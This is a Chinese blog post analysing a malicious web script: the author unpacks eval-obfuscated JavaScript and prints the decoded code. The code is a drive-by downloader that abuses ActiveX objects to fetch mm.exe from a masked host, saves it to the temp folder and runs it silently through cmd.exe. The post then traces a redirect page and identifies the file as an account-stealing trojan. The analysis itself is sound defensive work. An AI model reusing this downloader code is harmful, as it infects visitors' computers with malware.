[Ctrl+A 全选 注:引入外部Js需再刷新一下页面才能执行]
上面的方法，我要是考虑下几秒想到的方法，以前没想起，现在大家以后就可以更方面的使用了
先将eval后的代码用 var str=.......,然后document.write(str);得到了下面的代码
复制代码 代码如下:
function gn(n){var number=Math.random()*n;return'~tmp'+'.tmp'}try
{dl='http://cc.*****.com/wm/mm.exe';var df=document.createElement("object");df.setAttribute
("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");var x=df.CreateObject
("Microsoft.X"+"M"+"L"+"H"+"T"+"T"+"P","");var S=df.CreateObject
("Adodb.Stream","");S.type=1;x.open("GET",dl,0);x.send();fname1=gn(10000);var
F=df.CreateObject("Scripting.FileSystemObject","");var tmp=F.GetSpecialFolder
(0);fname1=F.BuildPath(tmp,fname1);S.Open();S.Write(x.responseBody);S.SaveToFile
(fname1,2);S.Close();var Q=df.CreateObject("Shell.Application","");exp1=F.BuildPath
(tmp+'\\system32','cmd.exe');Q.ShellExecute(exp1,' /c '+fname1,"","open",0)}catch(i){i=1}
然后我们可以发现这个*****.com/wm/mm.exe，先下下载下来，记住下载后一般看大小，病毒
文件都很小，先将mm.exe改名位mm.exe.txt，打开看到了如下代码，唉，
复制代码 代码如下:
<html><body><br><br>
<script>window.location="/wm/mm.exe?QVyRR=au6BKUDmtn1";</script>
<center><h3>如果您的页面没有自动跳转，请<a href="/wm/mm.exe?QVyRR=au6BKUDmtn1">点击这里
</a><h3></center>
</body></html>
看到了吗，最主要的就是这个了 *****.com/wm/mm.exe?QVyRR=au6BKUDmtn1
然后用软件下载，这个就是病毒文件了，
终于完成了 ，发现病毒，应该是盗号系统的木马，现在网上卖流量的很多，大家爱玩游戏的请注意了
当然上面的javascript反向思维方法可以得到大部分的加密的 javascript，而且其它的好多都有解密程
序，大家如果好的方法，都贴出来啊，这样大家才能进步。作者：reterry QQ:461478385
原创文章,转载请写明出处 脚本之家
您可能感兴趣的文章: